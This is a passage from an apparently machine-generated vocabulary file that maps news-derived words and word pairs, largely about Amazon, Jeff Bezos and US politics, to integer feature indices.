71374,\n  \"donnelly benefited\": 71375,\n  \"shown decline\": 71376,\n  \"bloomberg virtually\": 71377,\n  \"exacerbates\": 71378,\n  \"eltahir\": 71379,\n  \"selected nashville\": 71380,\n  \"feet washington\": 71381,\n  \"comments contradict\": 71382,\n  \"supply\": 71383,\n  \"moonshot answers\": 71384,\n  \"cuseum software\": 71385,\n  \"grocery stores\": 71386,\n  \"sought trump\": 71387,\n  \"llazar semini\": 71388,\n  \"cia 2017\": 71389,\n  \"increase access\": 71390,\n  \"foodways\": 71391,\n  \"13th science\": 71392,\n  \"latam\": 71393,\n  \"sorting sales\": 71394,\n  \"boosts belief\": 71395,\n  \"sends message\": 71396,\n  \"major competitive\": 71397,\n  \"unacceptable security\": 71398,\n  \"demonstrate\": 71399,\n  \"audiobook\": 71400,\n  \"protecting taxpayers\": 71401,\n  \"crazy screen\": 71402,\n  \"garland\": 71403,\n  \"year announced\": 71404,\n  \"incredibly large\": 71405,\n  \"speaker maker\": 71406,\n  \"judging\": 71407,\n  \"mining including\": 71408,\n  \"public conversation\": 71409,\n  \"association preferred\": 71410,\n  \"andrew duffell\": 71411,\n  \"government centralization\": 71412,\n  \"sheryl crow\": 71413,\n  \"soldier spent\": 71414,\n  \"law using\": 71415,\n  \"site security\": 71416,\n  \"women operated\": 71417,\n  \"silenced stopthebias\": 71418,\n  \"appeal wapo\": 71419,\n  \"grapes brighter\": 71420,\n  \"theborder wall\": 71421,\n  \"ms smith\": 71422,\n  \"mcdowell fox\": 71423,\n  \"prestel\": 71424,\n  \"trump screen\": 71425,\n  \"000 cashier\": 71426,\n  \"alum kristen\": 71427,\n  \"durant late\": 71428,\n  \"800 seat\": 71429,\n  \"changes italy\": 71430,\n  \"party john\": 71431,\n  \"fresh demonstration\": 71432,\n  \"lincoln memorial\": 71433,\n  \"collapsing\": 71434,\n  \"goodlatte\": 71435,\n  \"goose\": 71436,\n  \"specifcally\": 71437,\n  \"employs workers\": 71438,\n  \"win win\": 71439,\n  \"seidel\": 71440,\n  \"working capital\": 71441,\n  \"psychiatrist\": 71442,\n  \"deuce takes\": 71443,\n  \"inventor jeff\": 71444,\n  \"house statement\": 71445,\n  \"monopolies\": 71446,\n  \"seasonal jobs\": 71447,\n  \"followed criticism\": 71448,\n  \"quote foreign\": 71449,\n  \"win given\": 71450,\n  \"saudi leadership\": 71451,\n  \"future hq\": 71452,\n  \"pro trumpist\": 71453,\n  \"borges\": 71454,\n  \"labor conditions\": 71455,\n  \"vatican official\": 71456,\n  \"involving bezos\": 71457,\n  \"website states\": 71458,\n  \"anonymous newspaper\": 71459,\n  \"arkansas viral\": 71460,\n  \"lobbying capitol\": 71461,\n  \"including hospitals\": 71462,\n  \"pass throughs\": 71463,\n  \"amazon social\": 71464,\n  \"oeit\": 71465,\n  \"company tweeted\": 71466,\n  \"james woods\": 71467,\n  \"generated clip\": 71468,\n  \"t000040342 t000002953\": 71469,\n  \"headlined\": 71470,\n  \"actually countering\": 71471,\n  \"education program\": 71472,\n  \"include manchester\": 71473,\n  \"sergey brin\": 71474,\n  \"realign\": 71475,\n  \"economic populism\": 71476,\n  \"data vladimir\": 71477,\n  \"ghana\": 71478,\n  \"jshortly\": 71479,\n  \"meadows auburndale\": 71480,\n  \"says maxsa\": 71481,\n  \"cofounder\": 71482,\n  \"mick mulvaney\": 71483,\n  \"khashoggi reportedly\": 71484,\n  \"exception amazon\": 71485,\n  \"animate\": 71486,\n  \"speaking isn\": 71487,\n  \"herdener\": 71488,\n  \"spend nearly\": 71489,\n  \"org notadime\": 71490,\n  \"far quieter\": 71491,\n  \"pasture\": 71492,\n  \"democratic companies\": 71493,\n  \"greatly benefitted\": 71494,\n  \"confrontational approach\": 71495,\n  \"gregg jarrett\": 71496,\n  \"filed alleges\": 71497,\n  \"bergen reprises\": 71498,\n  \"company abruptly\": 71499,\n  \"epistolary\": 71500,\n  \"namath enters\": 71501,\n  \"becker according\": 71502,\n  \"williams malcolm\": 71503,\n  \"public narrative\": 71504,\n  \"journal huffpost\": 71505,\n  \"whisking\": 71506,\n  \"commerce argue\": 71507,\n  \"voting nyc\": 71508,\n  \"2017 cbs\": 71509,\n  \"rfk\": 71510,\n  \"mccormack talks\": 71511,\n  \"ghosn bb\": 71512,\n  \"caravan\": 71513,\n  \"anna quinn\": 71514,\n  \"apprentice\": 71515,\n  \"trusting classmates\": 71516,\n  \"meaningful evidence\": 71517,\n  \"messages ended\": 71518,\n  \"comprehensive database\": 71519,\n  \"amzn chief\": 71520,\n  \"harassment data\": 71521,\n  \"ceo james\": 71522,\n  \"led standing\": 71523,\n  \"lithgow\": 71524,\n  \"new paper\": 71525,\n  \"departs white\": 71526,\n  \"states sue\": 71527,\n  \"encourage people\": 71528,\n  \"chippiest\": 71529,\n  \"accruals\": 71530,\n  \"blue lives\": 71531,\n  \"laws donald\": 71532,\n  \"losing stock\": 71533,\n  \"wikimedia commons\": 71534,\n  \"bald carell\": 71535,\n  \"hudson\": 71536,\n  \"counted kyrsten\": 71537,\n  \"lists\": 71538,\n  \"border measure\": 71539,\n  \"night senator\": 71540,\n  \"plans\": 71541,\n  \"185 tells\": 71542,\n  \"socialist ilk\": 71543,\n  \"marketing research\": 71544,\n  \"delivered straight\": 71545,\n  \"facebook recall\": 71546,\n  \"selling books\": 71547,\n  \"new development\": 71548,\n  \"leader amid\": 71549,\n  \"helio p60\": 71550,\n  \"constitution\": 71551,\n  \"acquisition 2018\": 71552,\n  \"bedminster\": 71553,\n  \"ronaldhart\": 71554,\n  \"physiological thriller\": 71555,\n  \"face revenue\": 71556,\n  \"fires sacramento\": 71557,\n  \"democrat led\": 71558,\n  \"directs\": 71559,\n  \"challengers\": 71560,\n  \"nullifies apga\": 71561,\n  \"military conflict\": 71562,\n  \"popular players\": 71563,\n  \"outburst renewed\": 71564,\n  \"digital platform\": 71565,\n  \"reuters advocacy\": 71566,\n  \"ferry landing\": 71567,\n  \"cargo sector\": 71568,\n  \"acquisition valued\": 71569,\n  \"westerner\": 71570,\n  \"kyle_maclachlan\": 71571,\n  \"defendants politico\": 71572,\n  \"canada day\": 71573,\n  \"rosenstein staying\": 71574,\n  \"guys operator\": 71575,\n  \"tim kla\": 71576,\n  \"goal advertisement\": 71577,\n  \"hike impact\": 71578,\n  \"fresh outlooks\": 71579,\n  \"shine spouse\": 71580,\n  \"targets people\": 71581,\n  \"shovel\": 71582,\n  \"david miliband\": 71583,\n  \"beginner guide\": 71584,\n  \"thenew york\": 71585,\n  \"life issues\": 71586,\n  \"sophisticated hacking\": 71587,\n  \"ceo larry\": 71588,\n  \"various warehouses\": 71589,\n  \"junta dictator\": 71590,\n  \"tapaj\\u00f3s basin\": 71591,\n  \"single source\": 71592,\n  \"geopolitical conflict\": 71593,\n  \"government buys\": 71594,\n  \"census results\": 71595,\n  \"teen asking\": 71596,\n  \"tiny sample\": 71597,\n  \"ro\": 71598,\n  \"x2x a8\": 71599,\n  \"micronutrient\": 71600,\n  \"signature initiative\": 71601,\n  \"model workforce\": 71602,\n  \"bure\": 71603,\n  \"eps\": 71604,\n  \"walmart legacy\": 71605,\n  \"wasn discussed\": 71606,\n  \"security pledge\": 71607,\n  \"cuomo held\": 71608,\n  \"media conversation\": 71609,\n  \"commissioner mike\": 71610,\n  \"washington drama\": 71611,\n  \"javier\": 71612,\n  \"navarro directs\": 71613,\n  \"dailyquote\": 71614,\n  \"protect amazon\": 71615,\n  \"actively erupting\": 71616,\n  \"married join\": 71617,\n  \"fervent defenders\": 71618,\n  \"incentives programs\": 71619,\n  \"namesake george\": 71620,\n  \"amazon invested\": 71621,\n  \"conservative republican\": 71622,\n  \"oil giants\": 71623,\n  \"picnic\": 71624,\n  \"hasn shared\": 71625,\n  \"greeting card\": 71626,\n  \"break case\": 71627,\n  \"expanded child\": 71628,\n  \"blind fear\": 71629,\n  \"kenton\": 71630,\n  \"shale fields\": 71631,\n  \"negotiation abramowitz\": 71632,\n  \"suicide blast\": 71633,\n  \"tv channel\": 71634,\n  \"labor dol\": 71635,\n  \"connecticut recently\": 71636,\n  \"television crew\": 71637,\n  \"erasing premarket\": 71638,\n  \"2017 flake\": 71639,\n  \"selden\": 71640,\n  \"huge sex\": 71641,\n  \"survivor cbs\": 71642,\n  \"bezos masks\": 71643,\n  \"mexico new\": 71644,\n  \"levy adrienne\": 71645,\n  \"152 million\": 71646,\n  \"energetic info\": 71647,\n  \"fb facebook\": 71648,\n  \"currently subscribe\": 71649,\n  \"users ahead\": 71650,\n  \"differing takes\": 71651,\n  \"return business\": 71652,\n  \"later announced\": 71653,\n  \"capturing just\": 71654,\n  \"nefarious connotation\": 71655,\n  \"publishers retain\": 71656,\n  \"new jeff\": 71657,\n  \"general hospital\": 71658,\n  \"bf\": 71659,\n  \"falsifying\": 71660,\n  \"read kya\": 71661,\n  \"spy case\": 71662,\n  \"newest concern\": 71663,\n  \"boredom\": 71664,\n  \"interrupting john\": 71665,\n  \"demanding culinary\": 71666,\n  \"reportedly estranged\": 71667,\n  \"stenberg best\": 71668,\n  \"score deckers\": 71669,\n  \"postponing landmark\": 71670,\n  \"shit amazon\": 71671,\n  \"andrews ap\": 71672,\n  \"administration inner\": 71673,\n  \"creator matthew\": 71674,\n  \"chords\": 71675,\n  \"watoday normal\": 71676,\n  \"story review\": 71677,\n  \"singapore stocks\": 71678,\n  \"massacre amazon\": 71679,\n  \"entry tracing\": 71680,\n  \"idiq\": 71681,\n  \"axios reported\": 71682,\n  \"mined\": 71683,\n  \"handmaiden\": 71684,\n  \"nice jimmy\": 71685,\n  \"stalinist distortions\": 71686,\n  \"investor dream\": 71687,\n  \"avoid fees\": 71688,\n  \"new entrepreneurs\": 71689,\n  \"park mayor\": 71690,\n  \"including good\": 71691,\n  \"ofthat offers\": 71692,\n  \"comprises\": 71693,\n  \"tight relationship\": 71694,\n  \"store formats\": 71695,\n  \"sudan syria\": 71696,\n  \"hot amazon\": 71697,\n  \"knife revealing\": 71698,\n  \"longer promise\": 71699,\n  \"missoula crowd\": 71700,\n  \"aughts\": 71701,\n  \"managed blockchain\": 71702,\n  \"929 shares\": 71703,\n  \"damaging washington\": 71704,\n  \"optimisation\": 71705,\n  \"assange arrested\": 71706,\n  \"surveys blocking\": 71707,\n  \"eddie ghabour\": 71708,\n  \"follows trump\": 71709,\n  \"age customer\": 71710,\n  \"political nonsense\": 71711,\n  \"leaders formulate\": 71712,\n  \"watching newborn\": 71713,\n  \"day herera\": 71714,\n  \"company plan\": 71715,\n  \"law request\": 71716,\n  \"patient population\": 71717,\n  \"edwards having\": 71718,\n  \"enquirer donald\": 71719,\n  \"responded favourably\": 71720,\n  \"dark hair\": 71721,\n  \"disclosure insignia\": 71722,\n  \"sugar\": 71723,\n  \"laura da\": 71724,\n  \"global sources\": 71725,\n  \"strategy game\": 71726,\n  \"facto\": 71727,\n  \"latency sensitive\": 71728,\n  \"famous law\": 71729,\n  \"bloomberg television\": 71730,\n  \"red maga\": 71731,\n  \"criticisms reporting\": 71732,\n  \"secret informant\": 71733,\n  \"closed just\": 71734,\n  \"correspondents dinner\": 71735,\n  \"looks fairly\": 71736,\n  \"insider unhinged\": 71737,\n  \"users google\": 71738,\n  \"hopeful democratic\": 71739,\n  \"different feelings\": 71740,\n  \"expected growth\": 71741,\n  \"biggest protest\": 71742,\n  \"518\": 71743,\n  \"interestingly sears\": 71744,\n  \"tsa firearms\": 71745,\n  \"vessel threatened\": 71746,\n  \"funds manager\": 71747,\n  \"open officially\": 71748,\n  \"spammers\": 71749,\n  \"entire city\": 71750,\n  \"correctly\": 71751,\n  \"jason mohammed\": 71752,\n  \"sydney according\": 71753,\n  \"media areas\": 71754,\n  \"slowly degraded\": 71755,\n  \"latest forecast\": 71756,\n  \"murdered american\": 71757,\n  \"centre\": 71758,\n  \"nations instead\": 71759,\n  \"algos right\": 71760,\n  \"rival kimberly\": 71761,\n  \"trademark dilution\": 71762,\n  \"focused areas\": 71763,\n  \"information medical\": 71764,\n  \"posts job\": 71765,\n  \"md company\": 71766,\n  \"company talked\": 71767,\n  \"commerce fulfillment\": 71768,\n  \"titled love\": 71769,\n  \"censor conservative\": 71770,\n  \"medium wp\": 71771,\n  \"nhis\": 71772,\n  \"353\": 71773,\n  \"a4ee y8\": 71774,\n  \"whispered\": 71775,\n  \"conference scheduled\": 71776,\n  \"gain trump\": 71777,\n  \"carry unintended\": 71778,\n  \"trade imbalance\": 71779,\n  \"kirk\": 71780,\n  \"liking today\": 71781,\n  \"hidden gem\": 71782,\n  \"molesting\": 71783,\n  \"online accounts\": 71784,\n  \"taxes year\": 71785,\n  \"bezos snl\": 71786,\n  \"measuring\": 71787,\n  \"intertwining narratives\": 71788,\n  \"old granddaughter\": 71789,\n  \"kicks\": 71790,\n  \"palin\": 71791,\n  \"recommends restructuring\": 71792,\n  \"valuable pr\": 71793,\n  \"pulloutdecision amazon\": 71794,\n  \"bezos especially\": 71795,\n  \"yacht chef\": 71796,\n  \"aforementioned defense\": 71797,\n  \"amid slowdown\": 71798,\n  \"senate nominees\": 71799,\n  \"president today\": 71800,\n  \"isolated mountain\": 71801,\n  \"visit chicago\": 71802,\n  \"finally beginning\": 71803,\n  \"kristen kish\": 71804,\n  \"washington trade\": 71805,\n  \"wendell holland\": 71806,\n  \"throwaway\": 71807,\n  \"insights haverty\": 71808,\n  \"schwietzer admits\": 71809,\n  \"great respect\": 71810,\n  \"russia includinghis\": 71811,\n  \"post knew\": 71812,\n  \"away market\": 71813,\n  \"mexican man\": 71814,\n  \"watch bezos\": 71815,\n  \"amzn choate\": 71816,\n  \"deal developer\": 71817,\n  \"tires\": 71818,\n  \"technology owned\": 71819,\n  \"unearthed details\": 71820,\n  \"cap trillion\": 71821,\n  \"employees calling\": 71822,\n  \"money pay\": 71823,\n  \"dissent amazon\": 71824,\n  \"review business\": 71825,\n  \"mini1x1 width\": 71826,\n  \"relationshipbetween\": 71827,\n  \"cunningham\": 71828,\n  \"rollercoaster\": 71829,\n  \"purple hooded\": 71830,\n  \"cover image\": 71831,\n  \"aspiring actresses\": 71832,\n  \"catalyze\": 71833,\n  \"2017 negative\": 71834,\n  \"growing marketplace\": 71835,\n  \"fighting cancer\": 71836,\n  \"twitter account\": 71837,\n  \"modern celebrity\": 71838,\n  \"brother manager\": 71839,\n  \"chief roman\": 71840,\n  \"publication function\": 71841,\n  \"jonas celebrate\": 71842,\n  \"currently investigating\": 71843,\n  \"google billions\": 71844,\n  \"articles house\": 71845,\n  \"cynthianixon\": 71846,\n  \"ran negative\": 71847,\n  \"obstacle\": 71848,\n  \"380s airlines\": 71849,\n  \"items saunders\": 71850,\n  \"expansion opportunities\": 71851,\n  \"despite global\": 71852,\n  \"secretive program\": 71853,\n  \"finished hiring\": 71854,\n  \"enterprises decisions\": 71855,\n  \"virtually tour\": 71856,\n  \"tweets including\": 71857,\n  \"1990s fortune\": 71858,\n  \"amzn making\": 71859,\n  \"reuters messi\": 71860,\n  \"aegis\": 71861,\n  \"officials estimate\": 71862,\n  \"docket ahead\": 71863,\n  \"surpasses\": 71864,\n  \"just launched\": 71865,\n  \"calls alibaba\": 71866,\n  \"rexnord merck\": 71867,\n  \"showdown eagerly\": 71868,\n  \"agencies newfound\": 71869,\n  \"political clearance\": 71870,\n  \"simons\": 71871,\n  \"customers abandon\": 71872,\n  \"reaching deregulatory\": 71873,\n  \"build database\": 71874,\n  \"perpetually\": 71875,\n  \"mika shuts\": 71876,\n  \"iridescent\": 71877,\n  \"urge tory\": 71878,\n  \"based economy\": 71879,\n  \"online reference\": 71880,\n  \"crash trump\": 71881,\n  \"michael moore\": 71882,\n  \"hanson\": 71883,\n  \"35m\": 71884,\n  \"prompted economists\": 71885,\n  \"kospi index\": 71886,\n  \"sleuthing insists\": 71887,\n  \"headphones feature\": 71888,\n  \"head paulson\": 71889,\n  \"story elizabeth\": 71890,\n  \"aladdin timothy\": 71891,\n  \"global player\": 71892,\n  \"pilot proceeds\": 71893,\n  \"6gb 128gb\": 71894,\n  \"troubled postal\": 71895,\n  \"treasury gained\": 71896,\n  \"icymi sinclair\": 71897,\n  \"rhoten wyoming\": 71898,\n  \"larger precedent\": 71899,\n  \"handles\": 71900,\n  \"repurchase program\": 71901,\n  \"neighborhood post\": 71902,\n  \"women anger\": 71903,\n  \"sen kamala\": 71904,\n  \"lot ofincoming\": 71905,\n  \"official action\": 71906,\n  \"latest week\": 71907,\n  \"say turkey\": 71908,\n  \"changing city\": 71909,\n  \"50m shares\": 71910,\n  \"advertising market\": 71911,\n  \"cutting tools\": 71912,\n  \"ritzy\": 71913,\n  \"marketwatch breaks\": 71914,\n  \"steve liesman\": 71915,\n  \"netflix winner\": 71916,\n  \"baby products\": 71917,\n  \"make prediction\": 71918,\n  \"amzn adbe\": 71919,\n  \"headed\": 71920,\n  \"publications including\": 71921,\n  \"educators pointing\": 71922,\n  \"damaging regulation\": 71923,\n  \"reported asking\": 71924,\n  \"montgomery ward\": 71925,\n  \"instead don\": 71926,\n  \"depression\": 71927,\n  \"shooters\": 71928,\n  \"cookies terms\": 71929,\n  \"saying nice\": 71930,\n  \"crush competition\": 71931,\n  \"mentioned future\": 71932,\n  \"elaine\": 71933,\n  \"week cited\": 71934,\n  \"opportunities forte\": 71935,\n  \"meet google\": 71936,\n  \"spectacular golder\": 71937,\n  \"virgin idea\": 71938,\n  \"products jumpedby\": 71939,\n  \"potential replacement\": 71940,\n  \"pogo\": 71941,\n  \"kohnstamm seattle\": 71942,\n  \"possible campaign\": 71943,\n  \"company contracts\": 71944,\n  \"affected industries\": 71945,\n  \"small package\": 71946,\n  \"warbucks\": 71947,\n  \"wasteful payments\": 71948,\n  \"baron cohen\": 71949,\n  \"state park\": 71950,\n  \"repeal taxes\": 71951,\n  \"matthews\": 71952,\n  \"emmet\": 71953,\n  \"entities including\": 71954,\n  \"makes statement\": 71955,\n  \"secretary contains\": 71956,\n  \"cluttered\": 71957,\n  \"rubinstein chairs\": 71958,\n  \"store holding\": 71959,\n  \"pry box\": 71960,\n  \"founded year\": 71961,\n  \"statement nonetheless\": 71962,\n  \"filmmaker yorgos\": 71963,\n  \"retailers nonprofits\": 71964,\n  \"today session\": 71965,\n  \"open inadvertently\": 71966,\n  \"collusion gold\": 71967,\n  \"bezos walking\": 71968,\n  \"protection entrepreneurs\": 71969,\n  \"stella\": 71970,\n  \"faceoff\": 71971,\n  \"regnery publishing\": 71972,\n  \"adams senior\": 71973,\n  \"row amazon\": 71974,\n  \"called deep\": 71975,\n  \"unconstitutionally\": 71976,\n  \"push midterms\": 71977,\n  \"deep knowledge\": 71978,\n  \"viewing screens\": 71979,\n  \"day sale\": 71980,\n  \"aside\": 71981,\n  \"involve roger\": 71982,\n  \"impinj\": 71983,\n  \"book central\": 71984,\n  \"firstborn\": 71985,\n  \"headstart compounds\": 71986,\n  \"microsoft plus\": 71987,\n  \"edison racist\": 71988,\n  \"banking oversight\": 71989,\n  \"state pays\": 71990,\n  \"rick aheadoftheherd\": 71991,\n  \"equinox hotel\": 71992,\n  \"amazon posts\": 71993,\n  \"suppressed story\": 71994,\n  \"teresa carlson\": 71995,\n  \"retains\": 71996,\n  \"weather conditions\": 71997,\n  \"sz\\u00f3ka\": 71998,\n  \"sheppard\": 71999,\n  \"antitrust paradox\": 72000,\n  \"barge\": 72001,\n  \"verbal\": 72002,\n  \"states directly\": 72003,\n  \"2678011\": 72004,\n  \"sen\": 72005,\n  \"annoyed\": 72006,\n  \"energy board\": 72007,\n  \"manchester city\": 72008,\n  \"prioritized\": 72009,\n  \"republicans question\": 72010,\n  \"washington policy\": 72011,\n  \"surprised location\": 72012,\n  \"competition recommended\": 72013,\n  \"billboard calling\": 72014,\n  \"dudes\": 72015,\n  \"single rich\": 72016,\n  \"information painted\": 72017,\n  \"antitrust standards\": 72018,\n  \"free pass\": 72019,\n  \"giving agencies\": 72020,\n  \"advisor gary\": 72021,\n  \"imperious\": 72022,\n  \"screenphotos\": 72023,\n  \"cnn reliable\": 72024,\n  \"intelligence officers\": 72025,\n  \"developing missile\": 72026,\n  \"depicting\": 72027,\n  \"thepresident people\": 72028,\n  \"ticket purchases\": 72029,\n  \"constitutional assaults\": 72030,\n  \"portfolio want\": 72031,\n  \"nuruddin\": 72032,\n  \"impulses\": 72033,\n  \"exclusively\": 72034,\n  \"gold medallist\": 72035,\n  \"stalled\": 72036,\n  \"frank center\": 72037,\n  \"suddenly stopped\": 72038,\n  \"hardie grant\": 72039,\n  \"away forcing\": 72040,\n  \"indistinct used\": 72041,\n  \"valenti new\": 72042,\n  \"withering eye\": 72043,\n  \"unions germany\": 72044,\n  \"important supplier\": 72045,\n  \"allan richard\": 72046,\n  \"__________\": 72047,\n  \"compartment\": 72048,\n  \"editor share\": 72049,\n  \"schedules business\": 72050,\n  \"footpaths\": 72051,\n  \"secret organic\": 72052,\n  \"enforcement better\": 72053,\n  \"precedent gary\": 72054,\n  \"new head\": 72055,\n  \"republican sens\": 72056,\n  \"slightly longer\": 72057,\n  \"aid received\": 72058,\n  \"sherm johnson\": 72059,\n  \"players cash\": 72060,\n  \"largesse amazon\": 72061,\n  \"irony pic\": 72062,\n  \"lo scalzo\": 72063,\n  \"entire technology\": 72064,\n  \"amazon killing\": 72065,\n  \"martialed norah\": 72066,\n  \"involves donald\": 72067,\n  \"possible fiscally\": 72068,\n  \"grown popular\": 72069,\n  \"unpatriotic freedom\": 72070,\n  \"sneak\": 72071,\n  \"david zuckerman\": 72072,\n  \"m1\": 72073,\n  \"optimists\": 72074,\n  \"include afghan\": 72075,\n  \"crowdsourced models\": 72076,\n  \"compounded growth\": 72077,\n  \"amazon states\": 72078,\n  \"million ownership\": 72079,\n  \"new twitter\": 72080,\n  \"amazon faces\": 72081,\n  \"unveils experimental\": 72082,\n  \"holiday devoted\": 72083,\n  \"praise trump\": 72084,\n  \"rampant intellectual\": 72085,\n  \"woman did\": 72086,\n  \"donate portion\": 72087,\n  \"perspective save\": 72088,\n  \"sounds\": 72089,\n  \"stunningly stylish\": 72090,\n  \"land knowledge\": 72091,\n  \"esp\": 72092,\n  \"nwdc resistance\": 72093,\n  \"comment legal\": 72094,\n  \"usually bottomed\": 72095,\n  \"retailers file\": 72096,\n  \"caicos islands\": 72097,\n  \"exploiting state\": 72098,\n  \"northern food\": 72099,\n  \"used platforms\": 72100,\n  \"corporate political\": 72101,\n  \"screw public\": 72102,\n  \"exclude paying\": 72103,\n  \"buying sensitive\": 72104,\n  \"union dominic\": 72105,\n  \"cfo drew\": 72106,\n  \"underpaid arguing\": 72107,\n  \"antagonistic approach\": 72108,\n  \"growth south\": 72109,\n  \"hbo leave\": 72110,\n  \"trends ___\": 72111,\n  \"removes\": 72112,\n  \"shirk paying\": 72113,\n  \"monk stars\": 72114,\n  \"mindful\": 72115,\n  \"hutaaulmbj ccn\": 72116,\n  \"fairly abstract\": 72117,\n  \"editorial katrina\": 72118,\n  \"licenses\": 72119,\n  \"gothic\": 72120,\n  \"shipp\": 72121,\n  \"ludovic marin\": 72122,\n  \"markham harvard\": 72123,\n  \"delete delete\": 72124,\n  \"sheriff deputy\": 72125,\n  \"11am london\": 72126,\n  \"observant\": 72127,\n  \"dhoward\": 72128,\n  \"partner related\": 72129,\n  \"develop cities\": 72130,\n  \"grylls\": 72131,\n  \"trump oks\": 72132,\n  \"delhi reliance\": 72133,\n  \"l8\": 72134,\n  \"expose additional\": 72135,\n  \"tabloid thenational\": 72136,\n  \"deal crossed\": 72137,\n  \"notopoulos\": 72138,\n  \"korea began\": 72139,\n  \"san lucas\": 72140,\n  \"increasing state\": 72141,\n  \"lawyer denies\": 72142,\n  \"brands tl\": 72143,\n  \"department babb\": 72144,\n  \"news hysteria\": 72145,\n  \"brands ahead\": 72146,\n  \"lessons vivek\": 72147,\n  \"6founder\": 72148,\n  \"cities seek\": 72149,\n  \"pentagon riches\": 72150,\n  \"away despite\": 72151,\n  \"apropos\": 72152,\n  \"sot ac\": 72153,\n  \"unfair practices\": 72154,\n  \"label gallerytitle\": 72155,\n  \"oracle mark\": 72156,\n  \"pleasant watch\": 72157,\n  \"month final\": 72158,\n  \"somalian\": 72159,\n  \"owned companies\": 72160,\n  \"threat\": 72161,\n  \"nostalgic\": 72162,\n  \"454 shares\": 72163,\n  \"company loaned\": 72164,\n  \"inappropriate mixing\": 72165,\n  \"tensions mean\": 72166,\n  \"send email\": 72167,\n  \"new angle\": 72168,\n  \"assaulting reporter\": 72169,\n  \"medicated\": 72170,\n  \"literally heats\": 72171,\n  \"infamous 2000\": 72172,\n  \"loftier\": 72173,\n  \"amzn closed\": 72174,\n  \"example read\": 72175,\n  \"hashtag say\": 72176,\n  \"composure\": 72177,\n  \"century economists\": 72178,\n  \"russian woman\": 72179,\n  \"destructive poisons\": 72180,\n  \"doesn tell\": 72181,\n  \"persian\": 72182,\n  \"stupid stuff\": 72183,\n  \"editor times\": 72184,\n  \"biggest payment\": 72185,\n  \"buyer complaints\": 72186,\n  \"debuts blockchain\": 72187,\n  \"bipartisan budget\": 72188,\n  \"gerard way\": 72189,\n  \"male trump\": 72190,\n  \"biggest victim\": 72191,\n  \"announces hq2\": 72192,\n  \"btn\": 72193,\n  \"pacific\": 72194,\n  \"midterms democrats\": 72195,\n  \"concerns trump\": 72196,\n  \"enders\": 72197,\n  \"indicts\": 72198,\n  \"judith\": 72199,\n  \"reportedly occurred\": 72200,\n  \"glaciers pine\": 72201,\n  \"don steal\": 72202,\n  \"finish early\": 72203,\n  \"pornography according\": 72204,\n  \"stands right\": 72205,\n  \"karen cramer\": 72206,\n  \"jake fischer\": 72207,\n  \"education services\": 72208,\n  \"account 1520251200\": 72209,\n  \"uyehara taste\": 72210,\n  \"announce brand\": 72211,\n  \"taxes democratic\": 72212,\n  \"live real\": 72213,\n  \"told lawmakers\": 72214,\n  \"short circuited\": 72215,\n  \"day film\": 72216,\n  \"community brought\": 72217,\n  \"touches nerve\": 72218,\n  \"select alexa\": 72219,\n  \"hardwood floors\": 72220,\n  \"direct official\": 72221,\n  \"recently revealed\": 72222,\n  \"webpronews\": 72223,\n  \"relative strength\": 72224,\n  \"dollars insisting\": 72225,\n  \"joins industry\": 72226,\n  \"jewish employees\": 72227,\n  \"lies half\": 72228,\n  \"insider workers\": 72229,\n  \"cuda\": 72230,\n  \"employees republican\": 72231,\n  \"portals amazon\": 72232,\n  \"nixes new\": 72233,\n  \"economics specifically\": 72234,\n  \"finnish capital\": 72235,\n  \"436 hammer\": 72236,\n  \"dodged number\": 72237,\n  \"faculty member\": 72238,\n  \"remove accounts\": 72239,\n  \"address bolsonaro\": 72240,\n  \"dashboard troll\": 72241,\n  \"whittemore house\": 72242,\n  \"somewhat reluctant\": 72243,\n  \"soared meaning\": 72244,\n  \"acker\": 72245,\n  \"abatement\": 72246,\n  \"alisha haridasani\": 72247,\n  \"pulled nbc\": 72248,\n  \"postal policies\": 72249,\n  \"currently amzn\": 72250,\n  \"russia points\": 72251,\n  \"card balance\": 72252,\n  \"delayed flights\": 72253,\n  \"core stronger\": 72254,\n  \"swamp forces\": 72255,\n  \"mongabay\": 72256,\n  \"split long\": 72257,\n  \"inspector general\": 72258,\n  \"national book\": 72259,\n  \"sell deal\": 72260,\n  \"trump fixation\": 72261,\n  \"tariffs president\": 72262,\n  \"publication quotes\": 72263,\n  \"light rail\": 72264,\n  \"50m\": 72265,\n  \"greater control\": 72266,\n  \"fourth place\": 72267,\n  \"474\": 72268,\n  \"shelves virtual\": 72269,\n  \"government investment\": 72270,\n  \"mcknight right\": 72271,\n  \"adam\": 72272,\n  \"arrive personally\": 72273,\n  \"amazon cashier\": 72274,\n  \"trump approval\": 72275,\n  \"local zoning\": 72276,\n  \"rounding error\": 72277,\n  \"criticisms follow\": 72278,\n  \"note deutsch\": 72279,\n  \"times russell\": 72280,\n  \"nelp\": 72281,\n  \"baltimore tuba\": 72282,\n  \"packaged amazon\": 72283,\n  \"week lawyers\": 72284,\n  \"contractually obligated\": 72285,\n  \"pundit reports\": 72286,\n  \"010\": 72287,\n  \"submitted additional\": 72288,\n  \"stores just\": 72289,\n  \"began documenting\": 72290,\n  \"reuters image\": 72291,\n  \"entrepreneur think\": 72292,\n  \"slowed bit\": 72293,\n  \"schiff senior\": 72294,\n  \"recommended legal\": 72295,\n  \"specifically focuses\": 72296,\n  \"affair voice\": 72297,\n  \"terecht\": 72298,\n  \"microsoft thought\": 72299,\n  \"post ad\": 72300,\n  \"sgtreport vantagewire\": 72301,\n  \"concerning delivery\": 72302,\n  \"hail\": 72303,\n  \"s7a f7a\": 72304,\n  \"mortar retail\": 72305,\n  \"north wing\": 72306,\n  \"levels guide\": 72307,\n  \"increase minimum\": 72308,\n  \"wiped away\": 72309,\n  \"profit organization\": 72310,\n  \"punctured\": 72311,\n  \"jerusalem\": 72312,\n  \"eliminator\": 72313,\n  \"company provided\": 72314,\n  \"earth shirt\": 72315,\n  \"drug mule\": 72316,\n  \"capitalist libertarian\": 72317,\n  \"ingredients used\": 72318,\n  \"ted malloch\": 72319,\n  \"tamil\": 72320,\n  \"fraudulent assets\": 72321,\n  \"rightly deserves\": 72322,\n  \"praises kevin\": 72323,\n  \"lobbying disclosure\": 72324,\n  \"story shannon\": 72325,\n  \"henrique cardoso\": 72326,\n  \"lee amazon\": 72327,\n  \"company sidewalk\": 72328,\n  \"ap google\": 72329,\n  \"paired\": 72330,\n  \"2018 ap\": 72331,\n  \"texas high\": 72332,\n  \"macy amazon\": 72333,\n  \"lauren helicopter\": 72334,\n  \"political\": 72335,\n  \"thing players\": 72336,\n  \"jeffbezos making\": 72337,\n  \"noahs netflix\": 72338,\n  \"ami letters\": 72339,\n  \"set clearly\": 72340,\n  \"8217 biggest\": 72341,\n  \"restaurant 